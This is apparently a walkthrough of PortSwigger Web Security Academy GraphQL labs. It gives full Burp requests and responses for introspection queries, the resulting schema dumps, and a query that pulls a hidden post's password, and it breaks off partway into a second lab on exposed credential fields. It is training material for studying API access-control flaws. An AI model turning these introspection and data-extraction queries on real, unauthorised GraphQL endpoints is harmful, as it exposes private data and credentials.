WebSecurityAcademy (PortSwigger) – Testing GraphQL APIs

Walk-through of the Testing GraphQL APIs labs on PortSwigger Web Security Academy.

Apprentice – Accessing private GraphQL posts

The blog page for this lab contains a hidden blog post that has a secret password. To solve the lab, find the hidden blog post and enter the password.

Inspect requests using Burp Suite. We find a request to a GraphQL endpoint. Send the request to the Repeater module.

POST /graphql/v1 HTTP/2
Host: <LAB ID>.web-security-academy.net
[...]
Content-Type: application/json
[...]

{"query":"\nquery getBlogSummaries {\n    getAllBlogPosts {\n        image\n        title\n        summary\n        id\n    }\n}","operationName":"getBlogSummaries"}
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 1466

{
  "data": {
    "getAllBlogPosts": [
      {
        "image": "/image/blog/posts/55.jpg",
        "title": "I'm At A Loss Without It - Leaving Your Smartphone Behind",
        "summary": "The other day I left my purse in a friend's car. This led to the most disturbing 19 hours of my life until it was returned to me.",
        "id": 1
      },
      {
        "image": "/image/blog/posts/48.jpg",
        "title": "Look No Hands - The Game Plays Itself",
        "summary": "I was so fed up with my husband always sitting in front of the television playing his silly games, I did something about it. I came up with an idea that would revolutionize game playing in the future. I wrote...",
        "id": 2
      },
      {
        "image": "/image/blog/posts/6.jpg",
        "title": "Fake News",
        "summary": "Is it just me that finds the way people share things on social media, without checking into them really disturbing? I've started checking things out now, not because I want to share but so I can somehow, politely, let them...",
        "id": 4
      },
      {
        "image": "/image/blog/posts/65.jpg",
        "title": "A Perfect World",
        "summary": "As the fight against crime is failing miserably there have been reports leaked from a Government agency that cloning is becoming a serious consideration. Experiments are being held in a secret location off the North Coast of California. A group...",
        "id": 5
      }
    ]
  }
}

Notice that post IDs are 1,2,4, and 5. Post id 3 is missing…

Send an probe request for introspection query

Using the Repeater, send a probe request for an introspection query. Adapt the initial request.

POST /graphql/v1 HTTP/2
Host: <LAB ID>.web-security-academy.net
[...]
Content-Type: application/json
[...]

{"query":"\nquery introspection {__typename}"}
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 45

{
  "data": {
    "__typename": "query"
  }
}

Send an introspection query

Full introspection query on one line without the onOperation, onFragment, and onField (or it gives an error).

POST /graphql/v1 HTTP/2
Host: <LAB ID>.web-security-academy.net
[...]
Content-Type: application/json
[...]

{"query":"query IntrospectionQuery{\n__schema{\nqueryType{\nname\n}\nmutationType{\nname\n}\nsubscriptionType{\nname\n}\ntypes{\n...FullType\n}\ndirectives{\nname\ndescription\nargs{\n...InputValue\n}\n}\n}\n}\n\nfragment FullType on __Type{\nkind\nname\ndescription\nfields(includeDeprecated:true){\nname\ndescription\nargs{\n...InputValue\n}\ntype{\n...TypeRef\n}\nisDeprecated\ndeprecationReason\n}\ninputFields{\n...InputValue\n}\ninterfaces{\n...TypeRef\n}\nenumValues(includeDeprecated:true){\nname\ndescription\nisDeprecated\ndeprecationReason\n}\npossibleTypes{\n...TypeRef\n}\n}\n\nfragment InputValue on __InputValue{\nname\ndescription\ntype{\n...TypeRef\n}\ndefaultValue\n}\n\nfragment TypeRef on __Type{\nkind\nname\nofType{\nkind\nname\nofType{\nkind\nname\nofType{\nkind\nname\n}\n}\n}\n}"}
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 38009

{
  "data": {
    "__schema": {
      "queryType": {
        "name": "query"
      },
      "mutationType": null,
      "subscriptionType": null,
      "types": [
        {
          "kind": "OBJECT",
          "name": "BlogPost",
          "description": null,
          "fields": [
            {
              "name": "id",
              "description": null,
              "args": [],
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "SCALAR",
                  "name": "Int",
                  "ofType": null
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "image",
              "description": null,
              "args": [],
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "SCALAR",
                  "name": "String",
                  "ofType": null
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "title",
              "description": null,
              "args": [],
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "SCALAR",
                  "name": "String",
                  "ofType": null
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "author",
              "description": null,
              "args": [],
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "SCALAR",
                  "name": "String",
                  "ofType": null
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "date",
              "description": null,
              "args": [],
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "SCALAR",
                  "name": "Timestamp",
                  "ofType": null
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "summary",
              "description": null,
              "args": [],
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "SCALAR",
                  "name": "String",
                  "ofType": null
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "paragraphs",
              "description": null,
              "args": [],
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "LIST",
                  "name": null,
                  "ofType": {
                    "kind": "NON_NULL",
                    "name": null,
                    "ofType": {
                      "kind": "SCALAR",
                      "name": "String"
                    }
                  }
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "isPrivate",
              "description": null,
              "args": [],
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "SCALAR",
                  "name": "Boolean",
                  "ofType": null
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "postPassword",
              "description": null,
              "args": [],
              "type": {
                "kind": "SCALAR",
                "name": "String",
                "ofType": null
              },
              "isDeprecated": false,
              "deprecationReason": null
            }
          ],
          "inputFields": null,
          "interfaces": [],
          "enumValues": null,
          "possibleTypes": null
        },
        {
          "kind": "SCALAR",
          "name": "Boolean",
          "description": "Built-in Boolean",
          "fields": null,
          "inputFields": null,
          "interfaces": null,
          "enumValues": null,
          "possibleTypes": null
        },
        {
          "kind": "SCALAR",
          "name": "Int",
          "description": "Built-in Int",
          "fields": null,
          "inputFields": null,
          "interfaces": null,
          "enumValues": null,
          "possibleTypes": null
        },
        {
          "kind": "SCALAR",
          "name": "String",
          "description": "Built-in String",
          "fields": null,
          "inputFields": null,
          "interfaces": null,
          "enumValues": null,
          "possibleTypes": null
        },
        {
          "kind": "SCALAR",
          "name": "Timestamp",
          "description": "Timestamp scalar",
          "fields": null,
          "inputFields": null,
          "interfaces": null,
          "enumValues": null,
          "possibleTypes": null
        },
        {
          "kind": "OBJECT",
          "name": "__Directive",
          "description": null,
          "fields": [
            {
              "name": "name",
              "description": "The __Directive type represents a Directive that a server supports.",
              "args": [],
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "SCALAR",
                  "name": "String",
                  "ofType": null
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "description",
              "description": null,
              "args": [],
              "type": {
                "kind": "SCALAR",
                "name": "String",
                "ofType": null
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "isRepeatable",
              "description": null,
              "args": [],
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "SCALAR",
                  "name": "Boolean",
                  "ofType": null
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "locations",
              "description": null,
              "args": [],
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "LIST",
                  "name": null,
                  "ofType": {
                    "kind": "NON_NULL",
                    "name": null,
                    "ofType": {
                      "kind": "ENUM",
                      "name": "__DirectiveLocation"
                    }
                  }
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "args",
              "description": null,
              "args": [
                {
                  "name": "includeDeprecated",
                  "description": null,
                  "type": {
                    "kind": "SCALAR",
                    "name": "Boolean",
                    "ofType": null
                  },
                  "defaultValue": "false"
                }
              ],
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "LIST",
                  "name": null,
                  "ofType": {
                    "kind": "NON_NULL",
                    "name": null,
                    "ofType": {
                      "kind": "OBJECT",
                      "name": "__InputValue"
                    }
                  }
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            }
          ],
          "inputFields": null,
          "interfaces": [],
          "enumValues": null,
          "possibleTypes": null
        },
        {
          "kind": "ENUM",
          "name": "__DirectiveLocation",
          "description": "An enum describing valid locations where a directive can be placed",
          "fields": null,
          "inputFields": null,
          "interfaces": null,
          "enumValues": [
            {
              "name": "QUERY",
              "description": "Indicates the directive is valid on queries.",
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "MUTATION",
              "description": "Indicates the directive is valid on mutations.",
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "SUBSCRIPTION",
              "description": "Indicates the directive is valid on subscriptions.",
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "FIELD",
              "description": "Indicates the directive is valid on fields.",
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "FRAGMENT_DEFINITION",
              "description": "Indicates the directive is valid on fragment definitions.",
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "FRAGMENT_SPREAD",
              "description": "Indicates the directive is valid on fragment spreads.",
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "INLINE_FRAGMENT",
              "description": "Indicates the directive is valid on inline fragments.",
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "VARIABLE_DEFINITION",
              "description": "Indicates the directive is valid on variable definitions.",
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "SCHEMA",
              "description": "Indicates the directive is valid on a schema SDL definition.",
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "SCALAR",
              "description": "Indicates the directive is valid on a scalar SDL definition.",
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "OBJECT",
              "description": "Indicates the directive is valid on an object SDL definition.",
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "FIELD_DEFINITION",
              "description": "Indicates the directive is valid on a field SDL definition.",
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "ARGUMENT_DEFINITION",
              "description": "Indicates the directive is valid on a field argument SDL definition.",
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "INTERFACE",
              "description": "Indicates the directive is valid on an interface SDL definition.",
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "UNION",
              "description": "Indicates the directive is valid on an union SDL definition.",
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "ENUM",
              "description": "Indicates the directive is valid on an enum SDL definition.",
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "ENUM_VALUE",
              "description": "Indicates the directive is valid on an enum value SDL definition.",
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "INPUT_OBJECT",
              "description": "Indicates the directive is valid on an input object SDL definition.",
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "INPUT_FIELD_DEFINITION",
              "description": "Indicates the directive is valid on an input object field SDL definition.",
              "isDeprecated": false,
              "deprecationReason": null
            }
          ],
          "possibleTypes": null
        },
        {
          "kind": "OBJECT",
          "name": "__EnumValue",
          "description": null,
          "fields": [
            {
              "name": "name",
              "description": null,
              "args": [],
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "SCALAR",
                  "name": "String",
                  "ofType": null
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "description",
              "description": null,
              "args": [],
              "type": {
                "kind": "SCALAR",
                "name": "String",
                "ofType": null
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "isDeprecated",
              "description": null,
              "args": [],
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "SCALAR",
                  "name": "Boolean",
                  "ofType": null
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "deprecationReason",
              "description": null,
              "args": [],
              "type": {
                "kind": "SCALAR",
                "name": "String",
                "ofType": null
              },
              "isDeprecated": false,
              "deprecationReason": null
            }
          ],
          "inputFields": null,
          "interfaces": [],
          "enumValues": null,
          "possibleTypes": null
        },
        {
          "kind": "OBJECT",
          "name": "__Field",
          "description": null,
          "fields": [
            {
              "name": "name",
              "description": null,
              "args": [],
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "SCALAR",
                  "name": "String",
                  "ofType": null
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "description",
              "description": null,
              "args": [],
              "type": {
                "kind": "SCALAR",
                "name": "String",
                "ofType": null
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "args",
              "description": null,
              "args": [
                {
                  "name": "includeDeprecated",
                  "description": null,
                  "type": {
                    "kind": "SCALAR",
                    "name": "Boolean",
                    "ofType": null
                  },
                  "defaultValue": "false"
                }
              ],
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "LIST",
                  "name": null,
                  "ofType": {
                    "kind": "NON_NULL",
                    "name": null,
                    "ofType": {
                      "kind": "OBJECT",
                      "name": "__InputValue"
                    }
                  }
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "type",
              "description": null,
              "args": [],
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "OBJECT",
                  "name": "__Type",
                  "ofType": null
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "isDeprecated",
              "description": null,
              "args": [],
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "SCALAR",
                  "name": "Boolean",
                  "ofType": null
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "deprecationReason",
              "description": null,
              "args": [],
              "type": {
                "kind": "SCALAR",
                "name": "String",
                "ofType": null
              },
              "isDeprecated": false,
              "deprecationReason": null
            }
          ],
          "inputFields": null,
          "interfaces": [],
          "enumValues": null,
          "possibleTypes": null
        },
        {
          "kind": "OBJECT",
          "name": "__InputValue",
          "description": null,
          "fields": [
            {
              "name": "name",
              "description": null,
              "args": [],
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "SCALAR",
                  "name": "String",
                  "ofType": null
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "description",
              "description": null,
              "args": [],
              "type": {
                "kind": "SCALAR",
                "name": "String",
                "ofType": null
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "type",
              "description": null,
              "args": [],
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "OBJECT",
                  "name": "__Type",
                  "ofType": null
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "defaultValue",
              "description": null,
              "args": [],
              "type": {
                "kind": "SCALAR",
                "name": "String",
                "ofType": null
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "isDeprecated",
              "description": null,
              "args": [],
              "type": {
                "kind": "SCALAR",
                "name": "Boolean",
                "ofType": null
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "deprecationReason",
              "description": null,
              "args": [],
              "type": {
                "kind": "SCALAR",
                "name": "String",
                "ofType": null
              },
              "isDeprecated": false,
              "deprecationReason": null
            }
          ],
          "inputFields": null,
          "interfaces": [],
          "enumValues": null,
          "possibleTypes": null
        },
        {
          "kind": "OBJECT",
          "name": "__Schema",
          "description": "A GraphQL Introspection defines the capabilities of a GraphQL server. It exposes all available types and directives on the server, the entry points for query, mutation, and subscription operations.",
          "fields": [
            {
              "name": "description",
              "description": null,
              "args": [],
              "type": {
                "kind": "SCALAR",
                "name": "String",
                "ofType": null
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "types",
              "description": "A list of all types supported by this server.",
              "args": [],
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "LIST",
                  "name": null,
                  "ofType": {
                    "kind": "NON_NULL",
                    "name": null,
                    "ofType": {
                      "kind": "OBJECT",
                      "name": "__Type"
                    }
                  }
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "queryType",
              "description": "The type that query operations will be rooted at.",
              "args": [],
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "OBJECT",
                  "name": "__Type",
                  "ofType": null
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "mutationType",
              "description": "If this server supports mutation, the type that mutation operations will be rooted at.",
              "args": [],
              "type": {
                "kind": "OBJECT",
                "name": "__Type",
                "ofType": null
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "directives",
              "description": "'A list of all directives supported by this server.",
              "args": [],
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "LIST",
                  "name": null,
                  "ofType": {
                    "kind": "NON_NULL",
                    "name": null,
                    "ofType": {
                      "kind": "OBJECT",
                      "name": "__Directive"
                    }
                  }
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "subscriptionType",
              "description": "'If this server support subscription, the type that subscription operations will be rooted at.",
              "args": [],
              "type": {
                "kind": "OBJECT",
                "name": "__Type",
                "ofType": null
              },
              "isDeprecated": false,
              "deprecationReason": null
            }
          ],
          "inputFields": null,
          "interfaces": [],
          "enumValues": null,
          "possibleTypes": null
        },
        {
          "kind": "OBJECT",
          "name": "__Type",
          "description": null,
          "fields": [
            {
              "name": "kind",
              "description": null,
              "args": [],
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "ENUM",
                  "name": "__TypeKind",
                  "ofType": null
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "name",
              "description": null,
              "args": [],
              "type": {
                "kind": "SCALAR",
                "name": "String",
                "ofType": null
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "description",
              "description": null,
              "args": [],
              "type": {
                "kind": "SCALAR",
                "name": "String",
                "ofType": null
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "fields",
              "description": null,
              "args": [
                {
                  "name": "includeDeprecated",
                  "description": null,
                  "type": {
                    "kind": "SCALAR",
                    "name": "Boolean",
                    "ofType": null
                  },
                  "defaultValue": "false"
                }
              ],
              "type": {
                "kind": "LIST",
                "name": null,
                "ofType": {
                  "kind": "NON_NULL",
                  "name": null,
                  "ofType": {
                    "kind": "OBJECT",
                    "name": "__Field",
                    "ofType": null
                  }
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "interfaces",
              "description": null,
              "args": [],
              "type": {
                "kind": "LIST",
                "name": null,
                "ofType": {
                  "kind": "NON_NULL",
                  "name": null,
                  "ofType": {
                    "kind": "OBJECT",
                    "name": "__Type",
                    "ofType": null
                  }
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "possibleTypes",
              "description": null,
              "args": [],
              "type": {
                "kind": "LIST",
                "name": null,
                "ofType": {
                  "kind": "NON_NULL",
                  "name": null,
                  "ofType": {
                    "kind": "OBJECT",
                    "name": "__Type",
                    "ofType": null
                  }
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "enumValues",
              "description": null,
              "args": [
                {
                  "name": "includeDeprecated",
                  "description": null,
                  "type": {
                    "kind": "SCALAR",
                    "name": "Boolean",
                    "ofType": null
                  },
                  "defaultValue": "false"
                }
              ],
              "type": {
                "kind": "LIST",
                "name": null,
                "ofType": {
                  "kind": "NON_NULL",
                  "name": null,
                  "ofType": {
                    "kind": "OBJECT",
                    "name": "__EnumValue",
                    "ofType": null
                  }
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "inputFields",
              "description": null,
              "args": [
                {
                  "name": "includeDeprecated",
                  "description": null,
                  "type": {
                    "kind": "SCALAR",
                    "name": "Boolean",
                    "ofType": null
                  },
                  "defaultValue": "false"
                }
              ],
              "type": {
                "kind": "LIST",
                "name": null,
                "ofType": {
                  "kind": "NON_NULL",
                  "name": null,
                  "ofType": {
                    "kind": "OBJECT",
                    "name": "__InputValue",
                    "ofType": null
                  }
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "ofType",
              "description": null,
              "args": [],
              "type": {
                "kind": "OBJECT",
                "name": "__Type",
                "ofType": null
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "specifiedByURL",
              "description": null,
              "args": [],
              "type": {
                "kind": "SCALAR",
                "name": "String",
                "ofType": null
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "specifiedByUrl",
              "description": null,
              "args": [],
              "type": {
                "kind": "SCALAR",
                "name": "String",
                "ofType": null
              },
              "isDeprecated": true,
              "deprecationReason": "This legacy name has been replaced by `specifiedByURL`"
            }
          ],
          "inputFields": null,
          "interfaces": [],
          "enumValues": null,
          "possibleTypes": null
        },
        {
          "kind": "ENUM",
          "name": "__TypeKind",
          "description": "An enum describing what kind of type a given __Type is",
          "fields": null,
          "inputFields": null,
          "interfaces": null,
          "enumValues": [
            {
              "name": "SCALAR",
              "description": "Indicates this type is a scalar. 'specifiedByURL' is a valid field",
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "OBJECT",
              "description": "Indicates this type is an object. `fields` and `interfaces` are valid fields.",
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "INTERFACE",
              "description": "Indicates this type is an interface. `fields` and `possibleTypes` are valid fields.",
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "UNION",
              "description": "Indicates this type is a union. `possibleTypes` is a valid field.",
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "ENUM",
              "description": "Indicates this type is an enum. `enumValues` is a valid field.",
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "INPUT_OBJECT",
              "description": "Indicates this type is an input object. `inputFields` is a valid field.",
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "LIST",
              "description": "Indicates this type is a list. `ofType` is a valid field.",
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "NON_NULL",
              "description": "Indicates this type is a non-null. `ofType` is a valid field.",
              "isDeprecated": false,
              "deprecationReason": null
            }
          ],
          "possibleTypes": null
        },
        {
          "kind": "OBJECT",
          "name": "query",
          "description": null,
          "fields": [
            {
              "name": "getBlogPost",
              "description": null,
              "args": [
                {
                  "name": "id",
                  "description": null,
                  "type": {
                    "kind": "NON_NULL",
                    "name": null,
                    "ofType": {
                      "kind": "SCALAR",
                      "name": "Int",
                      "ofType": null
                    }
                  },
                  "defaultValue": null
                }
              ],
              "type": {
                "kind": "OBJECT",
                "name": "BlogPost",
                "ofType": null
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "getAllBlogPosts",
              "description": null,
              "args": [],
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "LIST",
                  "name": null,
                  "ofType": {
                    "kind": "NON_NULL",
                    "name": null,
                    "ofType": {
                      "kind": "OBJECT",
                      "name": "BlogPost"
                    }
                  }
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            }
          ],
          "inputFields": null,
          "interfaces": [],
          "enumValues": null,
          "possibleTypes": null
        }
      ],
      "directives": [
        {
          "name": "include",
          "description": "Directs the executor to include this field or fragment only when the `if` argument is true",
          "args": [
            {
              "name": "if",
              "description": "Included when true.",
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "SCALAR",
                  "name": "Boolean",
                  "ofType": null
                }
              },
              "defaultValue": null
            }
          ]
        },
        {
          "name": "skip",
          "description": "Directs the executor to skip this field or fragment when the `if` argument is true.",
          "args": [
            {
              "name": "if",
              "description": "Skipped when true.",
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "SCALAR",
                  "name": "Boolean",
                  "ofType": null
                }
              },
              "defaultValue": null
            }
          ]
        },
        {
          "name": "deprecated",
          "description": "Marks the field, argument, input field or enum value as deprecated",
          "args": [
            {
              "name": "reason",
              "description": "The reason for the deprecation",
              "type": {
                "kind": "SCALAR",
                "name": "String",
                "ofType": null
              },
              "defaultValue": "\"No longer supported\""
            }
          ]
        },
        {
          "name": "specifiedBy",
          "description": "Exposes a URL that specifies the behaviour of this scalar.",
          "args": [
            {
              "name": "url",
              "description": "The URL that specifies the behaviour of this scalar.",
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "SCALAR",
                  "name": "String",
                  "ofType": null
                }
              },
              "defaultValue": null
            }
          ]
        }
      ]
    }
  }
}

Paste the result (removing server HTTP headers) in the GraphQL Visualizer. We find these queries:

  • getBlogPost
  • getAllBlogPosts

The BlogPost object has interesting fields “isPrivate: Boolean” and “postPassword: string”. Sending the query getAllBlogPosts does not return private posts. As we noticed earlier, post id 3 is missing from getAllBlogPosts’ results. If it exists, this post must be private.

Query post id 3 to get the password

Use the getBlogPost query on post id 3 to get the password.

POST /graphql/v1 HTTP/2
Host: <LAB ID>.web-security-academy.net
[...]
Content-Type: application/json
[...]

{"query":"\nquery getMyPreciousPassword {\n    getBlogPost(id: 3) {\n        isPrivate\n        postPassword\n    }\n}"}
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 128

{
  "data": {
    "getBlogPost": {
      "isPrivate": true,
      "postPassword": "sbe1u2dbmcbhqy2ngoqk6qvvdg66vt12"
    }
  }
}

Click on Submit solution and enter “sbe1u2dbmcbhqy2ngoqk6qvvdg66vt12” to solve the lab.

Practitioner – Accidental exposure of private GraphQL fields

The user management functions for this lab are powered by a GraphQL endpoint. The lab contains an access control vulnerability whereby you can induce the API to reveal user credential fields. To solve the lab, sign in as the administrator and delete the username carlos.

Inspect requests using Burp Suite. We find a request to a GraphQL endpoint. Send the request to the Repeater module.

POST /graphql/v1 HTTP/2
Host: <LAB ID>.web-security-academy.net
[...]
Content-Type: application/json
[...]

{"query":"\nquery getBlogSummaries {\n    getAllBlogPosts {\n        image\n        title\n        summary\n        id\n    }\n}","operationName":"getBlogSummaries"}
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 1891

{
  "data": {
    "getAllBlogPosts": [
      {
        "image": "/image/blog/posts/34.jpg",
        "title": "Scams",
        "summary": "Where there is good there is evil and when it comes to the internet there is surely a scam not lurking too far away. Whether it's being promised thousands from an African prince or being blackmailed by someone claiming to...",
        "id": 5
      },
[...]

Send an probe request for introspection query

Using the Repeater, send a probe request for an introspection query. Adapt the initial request.

POST /graphql/v1 HTTP/2
Host: <LAB ID>.web-security-academy.net
[...]
Content-Type: application/json
[...]

{"query":"\nquery introspection {__typename}"}
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 45

{
  "data": {
    "__typename": "query"
  }
}

Send the full introspection query (without the onOperation, onFragment, and onField)

POST /graphql/v1 HTTP/2
Host: 0a09008503c67b508256755e009800cf.web-security-academy.net
[...]
Content-Type: application/json
[...]

{"query":"query IntrospectionQuery{\n__schema{\nqueryType{\nname\n}\nmutationType{\nname\n}\nsubscriptionType{\nname\n}\ntypes{\n...FullType\n}\ndirectives{\nname\ndescription\nargs{\n...InputValue\n}\n}\n}\n}\n\nfragment FullType on __Type{\nkind\nname\ndescription\nfields(includeDeprecated:true){\nname\ndescription\nargs{\n...InputValue\n}\ntype{\n...TypeRef\n}\nisDeprecated\ndeprecationReason\n}\ninputFields{\n...InputValue\n}\ninterfaces{\n...TypeRef\n}\nenumValues(includeDeprecated:true){\nname\ndescription\nisDeprecated\ndeprecationReason\n}\npossibleTypes{\n...TypeRef\n}\n}\n\nfragment InputValue on __InputValue{\nname\ndescription\ntype{\n...TypeRef\n}\ndefaultValue\n}\n\nfragment TypeRef on __Type{\nkind\nname\nofType{\nkind\nname\nofType{\nkind\nname\nofType{\nkind\nname\n}\n}\n}\n}"}
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 44938

{
  "data": {
    "__schema": {
      "queryType": {
        "name": "query"
      },
      "mutationType": {
        "name": "mutation"
      },
      "subscriptionType": null,
      "types": [
        {
          "kind": "OBJECT",
          "name": "BlogPost",
          "description": null,
          "fields": [
            {
              "name": "id",
              "description": null,
              "args": [],
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "SCALAR",
                  "name": "Int",
                  "ofType": null
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "image",
              "description": null,
              "args": [],
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "SCALAR",
                  "name": "String",
                  "ofType": null
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "title",
              "description": null,
              "args": [],
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "SCALAR",
                  "name": "String",
                  "ofType": null
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "author",
              "description": null,
              "args": [],
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "SCALAR",
                  "name": "String",
                  "ofType": null
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "date",
              "description": null,
              "args": [],
              "type": {
